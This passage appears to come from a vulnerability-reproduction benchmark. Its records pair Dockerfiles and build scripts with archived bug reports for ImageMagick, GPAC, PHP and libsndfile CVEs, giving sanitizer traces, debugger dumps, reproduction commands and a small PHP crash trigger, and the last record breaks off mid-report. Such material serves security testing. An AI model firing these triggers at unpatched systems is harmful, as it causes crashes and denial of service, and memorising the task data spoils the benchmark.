elif [ -d ".git" ] && [ -f "Makefile.am" ]; then
echo "Found Makefile.am, running autoreconf"
autoreconf -i
./configure $CONFIG_OPTS
make $MAKE_OPTS
else
echo "WARNING: No recognized build system found!"
echo "Trying generic approach:"
# Try to detect common source patterns and compile them
if ls *.c >/dev/null 2>&1 || ls *.cpp >/dev/null 2>&1 || ls *.cc >/dev/null 2>&1; then
echo "Found C/C++ source files, attempting direct compilation"
if ls *.cpp >/dev/null 2>&1 || ls *.cc >/dev/null 2>&1; then
CXX=${CXX:-g++}
echo "Compiling C++ sources with $CXX"
$CXX -g -O1 -fsanitize=address -fno-omit-frame-pointer -o main *.cpp *.cc 2>/dev/null || true
elif ls *.c >/dev/null 2>&1; then
CC=${CC:-gcc}
echo "Compiling C sources with $CC"
$CC -g -O1 -fsanitize=address -fno-omit-frame-pointer -o main *.c 2>/dev/null || true
fi
fi
fi
|
/src/imagemagick
|
address
|
================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/ImageMagick/ImageMagick/issues/1149
## Description:
Issue: ImageMagick/ImageMagick#1149
Title: heap-use-after-free
State: closed
Created by: zer0min9
Created at: 2018-05-29 08:23:54+00:00
Issue Body:
### Prerequisites
- [x] I have written a descriptive issue title
- [x] I have verified that I am using the latest version of ImageMagick
- [x] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported
### Description
Version: ImageMagick 7.0.7-36 Q16 x86_64 2018-05-29
### Steps to Reproduce
```
# ./magick identify ./poc
=================================================================
==32001==ERROR: AddressSanitizer: heap-use-after-free on address 0x627000022d50 at pc 0x7f2a4381ee54 bp 0x7fff0be4ade0 sp 0x7fff0be4add0
READ of size 8 at 0x627000022d50 thread T0
#0 0x7f2a4381ee53 in CloseBlob MagickCore/blob.c:605
#1 0x7f2a43cd4d87 in ReadMATImage coders/mat.c:1088
#2 0x7f2a438a67d7 in ReadImage MagickCore/constitute.c:500
#3 0x7f2a43b6b33e in ReadStream MagickCore/stream.c:1043
#4 0x7f2a438a57f5 in PingImage MagickCore/constitute.c:226
#5 0x7f2a438a5de8 in PingImages MagickCore/constitute.c:327
#6 0x7f2a4318d9fd in IdentifyImageCommand MagickWand/identify.c:319
#7 0x7f2a4321b71a in MagickCommandGenesis MagickWand/mogrify.c:183
#8 0x4017e1 in MagickMain utilities/magick.c:149
#9 0x4019c2 in main utilities/magick.c:180
#10 0x7f2a4298f82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#11 0x4012f8 in _start (/home/zm/workspace/ImageMagick/utilities/.libs/lt-magick+0x4012f8)
0x627000022d50 is located 13392 bytes inside of 13504-byte region [0x62700001f900,0x627000022dc0)
freed by thread T0 here:
#0 0x7f2a444522ca in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x982ca)
#1 0x7f2a43a58276 in RelinquishMagickMemory MagickCore/memory.c:1058
#2 0x7f2a43a1d9f2 in DestroyImage MagickCore/image.c:1221
#3 0x7f2a43a3e782 in DeleteImageFromList MagickCore/list.c:302
#4 0x7f2a43cd4cfd in ReadMATImage coders/mat.c:1084
#5 0x7f2a438a67d7 in ReadImage MagickCore/constitute.c:500
#6 0x7f2a43b6b33e in ReadStream MagickCore/stream.c:1043
#7 0x7f2a438a57f5 in PingImage MagickCore/constitute.c:226
#8 0x7f2a438a5de8 in PingImages MagickCore/constitute.c:327
#9 0x7f2a4318d9fd in IdentifyImageCommand MagickWand/identify.c:319
#10 0x7f2a4321b71a in MagickCommandGenesis MagickWand/mogrify.c:183
#11 0x4017e1 in MagickMain utilities/magick.c:149
#12 0x4019c2 in main utilities/magick.c:180
#13 0x7f2a4298f82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
previously allocated by thread T0 here:
#0 0x7f2a44452602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
#1 0x7f2a43a57360 in AcquireMagickMemory MagickCore/memory.c:468
#2 0x7f2a43a15f90 in AcquireCriticalMemory MagickCore/memory-private.h:64
#3 0x7f2a43a16541 in AcquireImage MagickCore/image.c:171
#4 0x7f2a43cd3ebb in ReadMATImage coders/mat.c:895
#5 0x7f2a438a67d7 in ReadImage MagickCore/constitute.c:500
#6 0x7f2a43b6b33e in ReadStream MagickCore/stream.c:1043
#7 0x7f2a438a57f5 in PingImage MagickCore/constitute.c:226
#8 0x7f2a438a5de8 in PingImages MagickCore/constitute.c:327
#9 0x7f2a4318d9fd in IdentifyImageCommand MagickWand/identify.c:319
#10 0x7f2a4321b71a in MagickCommandGenesis MagickWand/mogrify.c:183
#11 0x4017e1 in MagickMain utilities/magick.c:149
#12 0x4019c2 in main utilities/magick.c:180
#13 0x7f2a4298f82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
SUMMARY: AddressSanitizer: heap-use-after-free MagickCore/blob.c:605 CloseBlob
Shadow bytes around the buggy address:
0x0c4e7fffc550: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c4e7fffc560: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c4e7fffc570: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c4e7fffc580: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c4e7fffc590: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
=>0x0c4e7fffc5a0: fd fd fd fd fd fd fd fd fd fd[fd]fd fd fd fd fd
0x0c4e7fffc5b0: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa
0x0c4e7fffc5c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c4e7fffc5d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c4e7fffc5e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c4e7fffc5f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
==32001==ABORTING
```
### POC
[poc.zip](https://github.com/ImageMagick/ImageMagick/files/2047319/poc.zip)
### System Configuration
- ImageMagick version:7.0.7-36 Q16 x86_64
- Environment (Operating system, version and so on):ubuntu 16.04
- Additional information:
Found by: Wang Zongming
Comments:
Comment by urban-warrior on 2018-05-30 00:03:29+00:00:
Thanks for the problem report. We can reproduce it and will have a patch to fix it in GIT master branch @ https://github.com/ImageMagick/ImageMagick later today. The patch will be available in the beta releases of ImageMagick @ https://www.imagemagick.org/download/beta/ by sometime tomorrow.
---
Comment by nohmask on 2018-06-01 01:28:12+00:00:
This was assigned CVE-2018-11624.
---
Comment by zer0min9 on 2018-06-01 02:23:29+00:00:
Credit: Zongming Wang from Chengdu Security Response Center of Qihoo 360 Technology Co. Ltd.
Attachments:
https://github.com/ImageMagick/ImageMagick/files/2047319/poc.zip
|
[] |
[
{
"sha": "172d82afe89d3499ef0cab06dc58d380cc1ab946",
"url": "https://github.com/ImageMagick/ImageMagick6/commit/172d82afe89d3499ef0cab06dc58d380cc1ab946"
}
] |
gpac.cve-2023-48013
|
gpac/gpac
|
c70f49dda4946d6db6aa55588f6a756b76bd84ea
| 2023-10-12T09:08:14
|
gpac
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y build-essential pkg-config libz-dev
RUN git clone https://github.com/gpac/gpac gpac
RUN git -C gpac checkout c70f49dda4946d6db6aa55588f6a756b76bd84ea
WORKDIR $SRC/gpac
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
./configure --static-build --extra-cflags="${CFLAGS}" --extra-ldflags="${CFLAGS}"
make -j$(nproc)
|
/src/gpac
|
address
|
================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/gpac/gpac/issues/2612
## Description:
Issue: gpac/gpac#2612
Title: double-free in gf_filterpacket_del /home/user/fuzzing_gpac/gpac/src/filter_core/filter.c:38:17
State: closed
Created by: gandalf4a
Created at: 2023-10-08 16:13:47+00:00
Issue Body:
# Version
```
$ ./MP4Box -version
MP4Box - GPAC version 2.3-DEV-rev566-g50c2ab06f-master
```
# Platform
```
$ uname -a
Linux user-GE40-2PC-Dragon-Eyes 6.2.0-33-generic #33~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 7 10:33:52 UTC 2 x86_64 x86_64 x86_64 GNU/Linux
```
# Asan
```
/home/user/vul/MP4Box_crash/id000037sig06src002502time27968081execs258947ophavocrep16
[32m[iso file] Unknown box type 00000000 in parent moov
[0m[32m[iso file] Unknown top-level box type 00000100
[0m[32m[Dasher] No template assigned, using $File$_dash$FS$$Number$
[0m[32m[Dasher] No bitrate property assigned to PID V1, computing from bitstream
[0m[31m[IsoMedia] Failed to fetch initial sample 1 for track 2
[0m[32m[iso file] Unknown box type 00000000 in parent moov
[0m[33m[Dasher] Representation not initialized, dropping non-SAP1/2 packet CTS 18446744073709551615/12288
[0m[31m[IsoMedia] Failed to fetch initial sample 1 for track 2
[0m[31m[MuxIsom] Packet with no CTS assigned, cannot store to track, ignoring
[0m[31m[IsoMedia] File truncated, aborting read for track 1
[0m[31m[IsoMedia] Failed to fetch initial sample 1 for track 2
[0m[37mDashing P1 AS#1.1(V) done (1 segs)
[0m[31m[Dasher] Couldn't compute bitrate of PID V1 in time for manifest generation, please specify #Bitrate property
[0m[31m[Dasher] Couldn't compute bitrate of PID V1 in time for manifest generation, please specify #Bitrate property
[0m[32m[MPD] Generating MPD at time 2023-10-08T12:38:38.043Z
[0m[32m[Dasher] End of Period
[0m[32m[Dasher] End of MPD (no more active streams)
[0m=================================================================
==827317==ERROR: AddressSanitizer: attempting double-free on 0x619000015980 in thread T0:
#0 0x55e7797a5972 in free (/home/user/fuzzing_gpac/gpac/bin/gcc/MP4Box+0x105972) (BuildId: 53333ca7bff59dd9a3d1b2821e7c5f3a9aac76b9)
#1 0x7f525cd97945 in gf_filterpacket_del /home/user/fuzzing_gpac/gpac/src/filter_core/filter.c:38:17
#2 0x7f525cd6a022 in gf_fq_del /home/user/fuzzing_gpac/gpac/src/filter_core/filter_queue.c:105:33
#3 0x7f525cda14e5 in gf_filter_del /home/user/fuzzing_gpac/gpac/src/filter_core/filter.c:664:3
#4 0x7f525cd6ede9 in gf_fs_del /home/user/fuzzing_gpac/gpac/src/filter_core/filter_session.c:782:4
#5 0x7f525c6283f6 in gf_dasher_clean_inputs /home/user/fuzzing_gpac/gpac/src/media_tools/dash_segmenter.c:164:3
#6 0x7f525c6283f6 in gf_dasher_del /home/user/fuzzing_gpac/gpac/src/media_tools/dash_segmenter.c:173:2
#7 0x55e779809d2d in do_dash /home/user/fuzzing_gpac/gpac/applications/mp4box/mp4box.c:4894:2
#8 0x55e7797fab6e in mp4box_main /home/user/fuzzing_gpac/gpac/applications/mp4box/mp4box.c:6245:7
#9 0x7f525b629d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
#10 0x7f525b629e3f in __libc_start_main csu/../csu/libc-start.c:392:3
#11 0x55e779722dd4 in _start (/home/user/fuzzing_gpac/gpac/bin/gcc/MP4Box+0x82dd4) (BuildId: 53333ca7bff59dd9a3d1b2821e7c5f3a9aac76b9)
0x619000015980 is located 0 bytes inside of 1084-byte region [0x619000015980,0x619000015dbc)
freed by thread T0 here:
#0 0x55e7797a6046 in __interceptor_realloc (/home/user/fuzzing_gpac/gpac/bin/gcc/MP4Box+0x106046) (BuildId: 53333ca7bff59dd9a3d1b2821e7c5f3a9aac76b9)
#1 0x7f525c4f7ab6 in Media_GetSample /home/user/fuzzing_gpac/gpac/src/isomedia/media.c:619:30
#2 0x7f525c45d7b3 in gf_isom_get_sample_ex /home/user/fuzzing_gpac/gpac/src/isomedia/isom_read.c:1975:6
#3 0x7f525d05a156 in isor_reader_get_sample /home/user/fuzzing_gpac/gpac/src/filters/isoffin_read_ch.c:398:19
#4 0x7f525d04d2d5 in isoffin_process /home/user/fuzzing_gpac/gpac/src/filters/isoffin_read.c:1486:5
#5 0x7f525cdafa33 in gf_filter_process_task /home/user/fuzzing_gpac/gpac/src/filter_core/filter.c:2971:7
previously allocated by thread T0 here:
LLVMSymbolizer: error reading file: No such file or directory
#0 0x55e7797a6046 in __interceptor_realloc (/home/user/fuzzing_gpac/gpac/bin/gcc/MP4Box+0x106046) (BuildId: 53333ca7bff59dd9a3d1b2821e7c5f3a9aac76b9)
#1 0x7f525cd00add in gf_filter_pck_expand /home/user/fuzzing_gpac/gpac/src/filter_core/filter_pck.c:1846:15
#2 0x7ffd05c3a8df ([stack]+0x328df)
SUMMARY: AddressSanitizer: double-free (/home/user/fuzzing_gpac/gpac/bin/gcc/MP4Box+0x105972) (BuildId: 53333ca7bff59dd9a3d1b2821e7c5f3a9aac76b9) in free
==827317==ABORTING
```
# Reproduce
```
./MP4Box -dash 10000 poc
```
# POC File
https://github.com/gandalf4a/crash_report/blob/main/gpac/MP4Box/df_105972
# Credit
```
Gandalf4a
```
Commit References:
53333ca7bff59dd9a3d1b2821e7c5f3a9aac76b9
|
[] |
[
{
"sha": "cd8a95c1efb8f5bfc950b86c2ef77b4c76f6b893",
"url": "https://github.com/1480c1/gpac/commit/cd8a95c1efb8f5bfc950b86c2ef77b4c76f6b893"
},
{
"sha": "53333ca7bff59dd9a3d1b2821e7c5f3a9aac76b9",
"url": "https://github.com/gpac/gpac/commit/53333ca7bff59dd9a3d1b2821e7c5f3a9aac76b9"
}
] |
php.cve-2016-5096
|
php/php-src
|
95ed19ae28009aa7b3ed42d5760478de82640560
| 2016-05-02T09:52:58
|
php-src
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool bison re2c make ca-certificates curl xz-utils dpkg-dev file libc-dev pkg-config libcurl4-openssl-dev libedit-dev libsqlite3-dev libssl-dev zlib1g-dev
RUN git clone https://github.com/php/php-src php-src
RUN git -C php-src checkout 95ed19ae28009aa7b3ed42d5760478de82640560
WORKDIR $SRC/php-src
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
./buildconf --force
./configure \
--enable-option-checking=fatal \
--disable-libxml \
--disable-dom \
--disable-simplexml \
--disable-xml \
--disable-xmlreader \
--disable-xmlwriter \
--without-pear \
--enable-exif \
--disable-phpdbg \
--disable-cgi
make -j$(nproc)
|
/src/php-src
|
address
|
================= Bug Report (1/1) ==================
## Source: PHP Bugs
## URL: https://bugs.php.net/bug.php?id=72114
## Description:
PHP Bug ID: 72114
Summary: Integer underflow / arbitrary null write in fread/gzread
Status: Closed
PHP Version: 5.5.35
Assigned: stas (profile)
CVE-ID: 2016-5096
Description:
Description:
------------
Run the test script with ASAN. I could only reproduce this on a 64 bit environment.
PHPAPI PHP_FUNCTION(fread)
{
zval *res;
long len;
php_stream *stream;
if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rl", &res, &len) == FAILURE) {
RETURN_FALSE;
}
PHP_STREAM_TO_ZVAL(stream, &res);
if (len <= 0) {
php_error_docref(NULL TSRMLS_CC, E_WARNING, "Length parameter must be greater than 0");
RETURN_FALSE;
}
Z_STRVAL_P(return_value) = emalloc(len + 1);
Z_STRLEN_P(return_value) = php_stream_read(stream, Z_STRVAL_P(return_value), len);
/* needed because recv/read/gzread doesnt put a null at the end*/
Z_STRVAL_P(return_value)[Z_STRLEN_P(return_value)] = 0; # Integer Underflow and null write
Z_TYPE_P(return_value) = IS_STRING;
}
(gdb) run gzread2.php
Starting program: /home/operac/php/php-56/sapi/cli/php gzread2.php
Program received signal SIGSEGV, Segmentation fault.
0x0000000000727b66 in zif_fread (ht=2, return_value=0x7ffff7fd7d00, return_value_ptr=0x7ffff7fa21c8, this_ptr=0x0, return_value_used=0)
at /home/operac/php/php-56/ext/standard/file.c:1769
1769 Z_STRVAL_P(return_value)[Z_STRLEN_P(return_value)] = 0;
(gdb) print (*return_value)
$2 = {value = {lval = 140735140003952, dval = 6,9532397838610798e-310, str = {val = 0x7fff74070070 "", len = -2147483648}, ht = 0x7fff74070070,
obj = {handle = 1946615920, handlers = 0x5a5a5a5a80000000}, ast = 0x7fff74070070}, refcount__gc = 1, type = 0 '\000', is_ref__gc = 0 '\000'}
(gdb) print (*return_value).value.str.len
$1 = -2147483648
-----------
ASM:
0x727b45 <zif_fread+336>: callq 0x7ef31b <_php_stream_read>
0x727b4a <zif_fread+341>: mov %eax,%edx
0x727b4c <zif_fread+343>: mov -0x50(%rbp),%rax
0x727b50 <zif_fread+347>: mov %edx,0x8(%rax)
0x727b53 <zif_fread+350>: mov -0x50(%rbp),%rax
0x727b57 <zif_fread+354>: mov (%rax),%rdx
0x727b5a <zif_fread+357>: mov -0x50(%rbp),%rax
0x727b5e <zif_fread+361>: mov 0x8(%rax),%eax
0x727b61 <zif_fread+364>: cltq # converts the value to 64 bits
0x727b63 <zif_fread+366>: add %rdx,%rax
=> 0x727b66 <zif_fread+369>: movb $0x0,(%rax) # offset rax is negative here and causes an arbitrary null byte write
0x727b69 <zif_fread+372>: mov -0x50(%rbp),%rax
0x727b6d <zif_fread+376>: movb $0x6,0x14(%rax)
0x727b71 <zif_fread+380>: add $0x68,%rsp
0x727b75 <zif_fread+384>: pop %rbx
0x727b76 <zif_fread+385>: pop %rbp
0x727b77 <zif_fread+386>: retq
I place a breakpoint on cltq and you can see when it's executed the rax value becomes negative, later this offset is used with the heap base to calculate the write address of the null byte.
Breakpoint 1, 0x0000000000727b61 in zif_fread (ht=2, return_value=0x7ffff7fd7d00, return_value_ptr=0x7ffff7fa21c8, this_ptr=0x0, return_value_used=0) at /home/operac/php/php-56/ext/standard/file.c:1769
1769 /home/operac/php/php-56/ext/standard/file.c: No such file or directory.
(gdb) i r
rax 0x80000000 2147483648 # len parameter
rbx 0x3 3
rcx 0x0 0
rdx 0x7fff74070070 140735140003952 # heap pointer (emalloc return address)
rsi 0x7ffff7fdcc08 140737353993224
rdi 0x7ffff4070070 140737287487600
rbp 0x7fffffffa620 0x7fffffffa620
rsp 0x7fffffffa5b0 0x7fffffffa5b0
r8 0x0 0
r9 0x0 0
r10 0x7d3 2003
r11 0x246 582
r12 0x423ed0 4341456
r13 0x7fffffffe080 140737488347264
r14 0x0 0
r15 0x0 0
rip 0x727b61 0x727b61 <zif_fread+364>
eflags 0x206 [ PF IF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
(gdb) si
0x0000000000727b63 1769 in /home/operac/php/php-56/ext/standard/file.c
(gdb) i r
rax 0xffffffff80000000 -2147483648 # cltq (Convert Long To Quad)
rbx 0x3 3
rcx 0x0 0
rdx 0x7fff74070070 140735140003952 # heap pointer (emalloc return address)
rsi 0x7ffff7fdcc08 140737353993224
rdi 0x7ffff4070070 140737287487600
rbp 0x7fffffffa620 0x7fffffffa620
rsp 0x7fffffffa5b0 0x7fffffffa5b0
r8 0x0 0
r9 0x0 0
r10 0x7d3 2003
r11 0x246 582
r12 0x423ed0 4341456
r13 0x7fffffffe080 140737488347264
r14 0x0 0
r15 0x0 0
rip 0x727b63 0x727b63 <zif_fread+366>
eflags 0x206 [ PF IF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
(gdb) si
0x0000000000727b66 1769 in /home/operac/php/php-56/ext/standard/file.c
(gdb) i r
rax 0x7ffef4070070 140732992520304 # heap pointer + len < heap pointer !!
rbx 0x3 3
rcx 0x0 0
rdx 0x7fff74070070 140735140003952 # heap pointer (emalloc return address)
rsi 0x7ffff7fdcc08 140737353993224
rdi 0x7ffff4070070 140737287487600
rbp 0x7fffffffa620 0x7fffffffa620
rsp 0x7fffffffa5b0 0x7fffffffa5b0
r8 0x0 0
r9 0x0 0
r10 0x7d3 2003
r11 0x246 582
r12 0x423ed0 4341456
r13 0x7fffffffe080 140737488347264
r14 0x0 0
r15 0x0 0
rip 0x727b66 0x727b66 <zif_fread+369>
eflags 0x203 [ CF IF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
Test script:
---------------
<?php
ini_set('memory_limit', "2500M");
$fp2 = fopen("/dev/zero", "r");
$var1=$fp2;
$var2=2147483648;
gzread($var1, $var2);
Expected result:
----------------
No crash
Actual result:
--------------
ASAN:SIGSEGV
=================================================================
==3500==ERROR: AddressSanitizer: SEGV on unknown address 0x7f7fc2573860 (pc 0x000001168928 bp 0x0fffe7a9c75c sp 0x7fff3d4e3ad0 T0)
#0 0x1168927 in zif_fread /home/operac/php/php56asan/ext/standard/file.c:1769
#1 0x1ae39b5 in zend_do_fcall_common_helper_SPEC /home/operac/php/php56asan/Zend/zend_vm_execute.h:558
#2 0x198fd08 in execute_ex /home/operac/php/php56asan/Zend/zend_vm_execute.h:363
#3 0x16e3228 in zend_execute_scripts /home/operac/php/php56asan/Zend/zend.c:1341
#4 0x144093f in php_execute_script /home/operac/php/php56asan/main/main.c:2613
#5 0x1aec405 in do_cli /home/operac/php/php56asan/sapi/cli/php_cli.c:994
#6 0x448bc5 in main /home/operac/php/php56asan/sapi/cli/php_cli.c:1378
#7 0x7f80c797982f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#8 0x4490b8 in _start (/home/operac/php/php56asan/sapi/cli/php+0x4490b8)
Comments:
[Comment 1] [2016-05-10 04:46 UTC] [email protected]
Looks like a case of size_t/int confusion.
[Comment 2] [2016-05-10 04:58 UTC] [email protected]
Fixed in security repo as abd159cce48f3e34f08e4751c568e09677d5ec9c and in https://gist.github.com/ba60b922906a9c5a685e104c7b7994a8
. Please verify.
Links: https://gist.github.com/ba60b922906a9c5a685e104c7b7994a8
[Comment 3] [2016-05-11 11:03 UTC] fernando at null-life dot com
Patch works. Thanks.
$ ./php/php-56/sapi/cli/php -n ./gzread.php
Warning: gzread(): Length parameter must be no more than 2147483647 in /home/fmunozs/gzread.php on line 8
Commit References:
abd159cce48f3e34f08e4751c568e09677d5ec9c
|
[] |
[
{
"sha": "abd159cce48f3e34f08e4751c568e09677d5ec9c",
"url": "https://github.com/php/php-src/commit/abd159cce48f3e34f08e4751c568e09677d5ec9c"
},
{
"sha": "c05240731",
"url": null
}
] |
libsndfile.cve-2024-50612
|
libsndfile/libsndfile
|
72f6af15e8f85157bd622ed45b979025828b7001
| 2023-08-13T03:53:51
|
libsndfile
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN git clone https://github.com/libsndfile/libsndfile libsndfile
RUN git -C libsndfile checkout 72f6af15e8f85157bd622ed45b979025828b7001
WORKDIR $SRC/libsndfile
COPY build.sh $SRC/
|
#!/bin/bash
# Default build script template for C/C++ projects
set -eu
# Define configuration options
CONFIG_OPTS="--disable-shared"
CMAKE_OPTS="-DCMAKE_BUILD_TYPE=Debug"
MAKE_OPTS="-j$(nproc)"
BUILD_DIR="build"
# 1. Run build preparation scripts if they exist
for prep_script in buildconf autogen.sh bootstrap; do
if [ -x "$prep_script" ]; then
echo "Running $prep_script..."
./$prep_script
break
elif [ -f "$prep_script" ]; then
echo "Found $prep_script but it's not executable, setting permissions..."
chmod +x $prep_script
./$prep_script
break
fi
done
# 2. Handle different build systems
if [ -f "configure" ]; then
echo "Found configure script, running with options: $CONFIG_OPTS"
./configure $CONFIG_OPTS
echo "Building with make $MAKE_OPTS"
make $MAKE_OPTS
elif [ -f "CMakeLists.txt" ]; then
echo "Found CMakeLists.txt, using CMake build system"
mkdir -p $BUILD_DIR
cd $BUILD_DIR
cmake $CMAKE_OPTS ..
make $MAKE_OPTS
elif [ -f "Makefile" ] || [ -f "makefile" ]; then
echo "Found Makefile, building with make $MAKE_OPTS"
make $MAKE_OPTS
elif [ -f "meson.build" ]; then
echo "Found meson.build, using Meson build system"
mkdir -p $BUILD_DIR
meson setup $BUILD_DIR .
cd $BUILD_DIR
ninja
elif [ -f "GNUmakefile" ]; then
echo "Found GNUmakefile, building with make $MAKE_OPTS"
make $MAKE_OPTS
elif [ -d ".git" ] && [ -f "Makefile.am" ]; then
echo "Found Makefile.am, running autoreconf"
autoreconf -i
./configure $CONFIG_OPTS
make $MAKE_OPTS
else
echo "WARNING: No recognized build system found!"
echo "Trying generic approach:"
# Try to detect common source patterns and compile them
if ls *.c >/dev/null 2>&1 || ls *.cpp >/dev/null 2>&1 || ls *.cc >/dev/null 2>&1; then
echo "Found C/C++ source files, attempting direct compilation"
if ls *.cpp >/dev/null 2>&1 || ls *.cc >/dev/null 2>&1; then
CXX=${CXX:-g++}
echo "Compiling C++ sources with $CXX"
$CXX -g -O1 -fsanitize=address -fno-omit-frame-pointer -o main *.cpp *.cc 2>/dev/null || true
elif ls *.c >/dev/null 2>&1; then
CC=${CC:-gcc}
echo "Compiling C sources with $CC"
$CC -g -O1 -fsanitize=address -fno-omit-frame-pointer -o main *.c 2>/dev/null || true
fi
fi
fi
|
/src/libsndfile
|
address
|
================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/libsndfile/libsndfile/issues/1035
## Description:
Issue: libsndfile/libsndfile#1035
Title: Segmentation fault error in ogg_vorbis.c:417 vorbis_analysis_wrote()
State: closed
Created by: 4n0nym4u5
Created at: 2024-08-29 05:44:12+00:00
Issue Body:
## Description
The latest version of libsndfile was discovered to contain a memory corruption vulnerability in ogg_vorbis.c:417 vorbis_analysis_wrote() when parsing a specially crafted input file. This vulnerability leads to Denial of Service (DoS).
## ASAN Log
```c
Summary: CRASH detected in vorbis_analysis_wrote due to a fault at or near 0x0000000000000030 leading to SIGSEGV (si_signo=11) / SEGV_MAPERR (si_code=1)
Command line: ./sndfile-convert @@ /tmp/Master.ogg
Testcase: out/cpu03/crashes/id:000047,sig:11,src:001542,time:8004993,execs:855790,op:quick,pos:84
Crash bucket: 8b83505d9a486363d6fe62258b78fea5
Crashing thread backtrace:
#0 0x00007ffff7df044b in vorbis_analysis_wrote (/lib/x86_64-linux-gnu/libvorbis.so.0)
#1 0x00005555557ce546 in vorbis_close (/home/user/fuzzing_targets/libsndfile/CMakeBuild/sndfile-convert)
402: int vorbis_close(psf = (SF_PRIVATE *)0x625000002900) {
|||:
|||: /* Local reference: SF_PRIVATE * psf = 0x625000002900; */
|||: /* Local reference: VORBIS_PRIVATE * vdata = 0x615000000080; */
415: vorbis_write_header (psf, 0) ;
416:
417: vorbis_analysis_wrote (&vdata->vdsp, 0) ;
|||:
---: }
at /home/user/fuzzing_targets/libsndfile/src/ogg_vorbis.c:417
#2 0x00005555556863f4 in psf_close (/home/user/fuzzing_targets/libsndfile/CMakeBuild/sndfile-convert)
2964: int psf_close(psf = (SF_PRIVATE *)0x625000002900) {
||||:
||||: /* Local reference: SF_PRIVATE * psf = 0x625000002900; */
||||: /* Local reference: int error = 0; */
2967:
2968: if (psf->codec_close)
2969: { error = psf->codec_close (psf) ;
||||:
----: }
at /home/user/fuzzing_targets/libsndfile/src/sndfile.c:2969
#3 0x0000555555683219 in main (/home/user/fuzzing_targets/libsndfile/CMakeBuild/sndfile-convert)
134: int main(argc = (int)<optimized out>, argv = (char **)<optimized out>) {
|||:
|||: /* Local reference: SNDFILE * infile = 0x625000000100; */
|||: /* Local reference: SNDFILE * outfile = 0x625000002900; */
368:
369: sf_close (infile) ;
370: sf_close (outfile) ;
|||:
---: }
at /home/user/fuzzing_targets/libsndfile/programs/sndfile-convert.c:370
Crash context:
/* Register reference: r14 - 0x0000625000000100 (108095736905984) */
/* Register reference: r13 - 0x0000000000000000 (0) */
Execution stopped here ==> 0x00007ffff7df044b: mov r14,QWORD PTR [r13+0x30]
Register info:
rax - 0x0000000000000000 (0)
rbx - 0x00006150000000e0 (106996225278176)
rcx - 0x0000555556259180 (93825005883776)
rdx - 0x0000000000000002 (2)
rsi - 0x0000000000000000 (0)
rdi - 0x00006150000000e0 (106996225278176)
rbp - 0x00007fffffff5af0 (0x7fffffff5af0)
rsp - 0x00007fffffff5ab0 (0x7fffffff5ab0)
r8 - 0x0000000000001698 (5784)
r9 - 0x00007ffff5c00b60 (140737316391776)
r10 - 0x00007ffff7de5548 (140737351931208)
r11 - 0x00007ffff7df0420 (140737351975968)
r12 - 0x0000627000000100 (108233175859456)
r13 - 0x0000000000000000 (0)
r14 - 0x0000625000000100 (108095736905984)
r15 - 0x0000625000002900 (108095736916224)
rip - 0x00007ffff7df044b (0x7ffff7df044b <vorbis_analysis_wrote+43>)
eflags - 0x00010246 ([ PF ZF IF RF ])
cs - 0x00000033 (51)
ss - 0x0000002b (43)
ds - 0x00000000 (0)
es - 0x00000000 (0)
fs - 0x00000000 (0)
gs - 0x00000000 (0)
fs_base - 0x00007ffff79fd800 (140737347835904)
gs_base - 0x0000000000000000 (0)
```
## sndfile-info
```yaml
File : /REDACTED/poc
Length : 284
RF64 : 0x45564157 (should be 0xFFFFFFFF)
W
fmt : 50
Format : 0x1 => WAVE_FORMAT_PCM
Channels : 1
Sample Rate : 11025
Block Align : 256
Bit Width : 4
Bytes/sec : 5645 (should be 2822400)
fmt : 50
Format : 0x1 => WAVE_FORMAT_PCM
Channels : 1
Sample Rate : 11938577
Block Align : 256
Bit Width : 28
Bytes/sec : 5645 (should be -1238691584)
*** fact : 4 (unknown marker)
data : 0x1700
